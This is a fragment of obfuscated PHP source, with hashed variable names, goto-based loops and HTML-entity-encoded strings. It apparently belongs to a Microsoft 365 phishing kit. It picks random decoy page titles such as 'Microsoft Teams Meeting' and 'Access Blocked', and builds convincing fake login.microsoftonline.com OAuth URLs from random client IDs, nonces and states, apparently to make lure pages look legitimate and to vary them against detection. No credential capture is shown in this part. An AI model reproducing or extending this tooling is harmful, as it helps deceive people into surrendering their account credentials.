        $D9d05 = ["&#77;&#105;&#99;&#114;&#111;&#115;&#111;&#102;&#116;&#32;&#84;&#101;&#97;&#109;&#115;&#32;&#77;&#101;&#101;&#116;&#105;&#110;&#103;", "&#79;&#102;&#102;&#105;&#99;&#101;&#32;&#77;&#101;&#101;&#116;&#105;&#110;&#103;", "&#84;&#101;&#97;&#109;&#32;&#67;&#111;&#110;&#102;&#101;&#114;&#101;&#110;&#99;&#101;", "&#80;&#114;&#111;&#106;&#101;&#99;&#116;&#32;&#83;&#116;&#97;&#116;&#117;&#115;", "&#67;&#111;&#108;&#108;&#97;&#98;&#111;&#114;&#97;&#116;&#105;&#118;&#101;&#32;&#83;&#101;&#115;&#115;&#105;&#111;&#110;", "&#77;&#101;&#101;&#116;&#105;&#110;&#103;&#32;&#73;&#110;&#32;&#80;&#114;&#111;&#103;&#114;&#101;&#115;&#115;", "&#83;&#116;&#97;&#102;&#102;&#32;&#83;&#121;&#110;&#99;&#32;&#85;&#112;&#100;&#97;&#116;&#101;", "&#68;&#101;&#112;&#97;&#114;&#116;&#109;&#101;&#110;&#116;&#32;&#66;&#114;&#105;&#101;&#102;&#105;&#110;&#103;"];
        $Cdd02 = array_rand($D9d05);
        return $D9d05[$Cdd02];
    }
    public function getRandomMessageTitle()
    {
        $D9d05 = ["&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#32;&#67;&#101;&#110;&#116;&#101;&#114;", "&#78;&#101;&#119;&#32;&#77;&#101;&#115;&#115;&#97;&#103;&#101;", "&#73;&#110;&#98;&#111;&#120;&#32;&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#115;", "&#67;&#104;&#97;&#116;&#32;&#67;&#111;&#110;&#118;&#101;&#114;&#115;&#97;&#116;&#105;&#111;&#110;", "&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#32;&#72;&#117;&#98;", "&#67;&#111;&#110;&#118;&#101;&#114;&#115;&#97;&#116;&#105;&#111;&#110;&#32;&#67;&#101;&#110;&#116;&#101;&#114;", "&#83;&#101;&#99;&#117;&#114;&#101;&#32;&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#115;", "&#77;&#101;&#115;&#115;&#97;&#103;&#101;&#32;&#73;&#110;&#98;&#111;&#120;"];
        $Cdd02 = array_rand($D9d05);
        return $D9d05[$Cdd02];
    }
    public function getRandomBlockedTitle()
    {
        $D9d05 = ["&#65;&#99;&#99;&#101;&#115;&#115;&#32;&#66;&#108;&#111;&#99;&#107;&#101;&#100;", "&#85;&#110;&#97;&#117;&#116;&#104;&#111;&#114;&#105;&#122;&#101;&#100;&#32;&#65;&#99;&#99;&#101;&#115;&#115;", "&#66;&#108;&#111;&#99;&#107;&#101;&#100;&#32;&#66;&#121;&#32;&#65;&#100;&#109;&#105;&#110;", "&#69;&#114;&#114;&#111;&#114;&#58;&#32;&#65;&#99;&#99;&#101;&#115;&#115;&#32;&#68;&#101;&#110;&#105;&#101;&#100;", "&#65;&#99;&#99;&#101;&#115;&#115;&#32;&#82;&#101;&#115;&#116;&#114;&#105;&#99;&#116;&#101;&#100;", "&#65;&#99;&#99;&#101;&#115;&#115;&#32;&#76;&#105;&#109;&#105;&#116;&#32;&#69;&#120;&#99;&#101;&#101;&#100;&#101;&#100;", "&#80;&#97;&#103;&#101;&#32;&#66;&#108;&#111;&#99;&#107;&#101;&#100;", "&#85;&#110;&#97;&#98;&#108;&#101;&#32;&#84;&#111;&#32;&#65;&#99;&#99;&#101;&#115;&#115;&#32;&#80;&#97;&#103;&#101;"];
        $Cdd02 = array_rand($D9d05);
        return $D9d05[$Cdd02];
    }
    public function generateMicrosoftOAuthUrl()
    {
        $b3a54 = $this->generateRandomGuid();
        $fde52 = ["https%3A%2F%2Fwww.office.com%2Flandingv2", "https%3A%2F%2Fwww.outlook.com%2Fauth", "https%3A%2F%2Fportal.office.com%2Fcallback", "https%3A%2F%2Fteams.microsoft.com%2Foauth", "https%3A%2F%2Fwww.microsoft.com%2Fauth"];
        $A299f = $fde52[array_rand($fde52)];
        $Cf918 = rand(638900000000000000, 639000000000000000) . "." . $this->generateRandomStringCustom(32, "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") . $this->generateRandomStringCustom(32, "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-");
        $A570b = $this->generateRandomGuid();
        $Ef3b3 = $this->generateRandomStringCustom(320, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_");
        $F5b22 = rand(8, 9) . "." . rand(0, 9) . "." . rand(0, 9) . ".0";
        $f01be = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize";
        $Cbd30 = ["client_id" => $b3a54, "redirect_uri" => $A299f, "response_type" => "code id_token", "scope" => "openid profile https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All", "response_mode" => "form_post", "nonce" => $Cf918, "ui_locales" => "en-US", "mkt" => "en-US", "client-request-id" => $A570b, "state" => $Ef3b3, "x-client-SKU" => "ID_NET" . rand(6, 8) . "_0", "x-client-ver" => $F5b22, "sso_reload" => "true"];
        return "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" . http_build_query($Cbd30);
    }
    private function generateRandomGuid()
    {
        return sprintf("%08x-%04x-%04x-%04x-%012x", rand(0, 0xffffffff), rand(0, 0xffff), rand(0, 0xffff), rand(0, 0xffff), rand(0, 0xffffffffffff));
    }
    private function generateRandomStringCustom($C4b7a = 10, $Fb0d7 = null)
    {
        if (!($Fb0d7 === null)) {
            goto ec987;
        }
        $Fb0d7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        ec987:
        $d9375 = strlen($Fb0d7);
        $c3a89 = '';
        $b4bce = 0;
        e5571:
        if (!($b4bce < $C4b7a)) {
            return $c3a89;
        }
        $c3a89 .= $Fb0d7[rand(0, $d9375 - 1)];
        $b4bce++;
        goto e5571;
    }
}
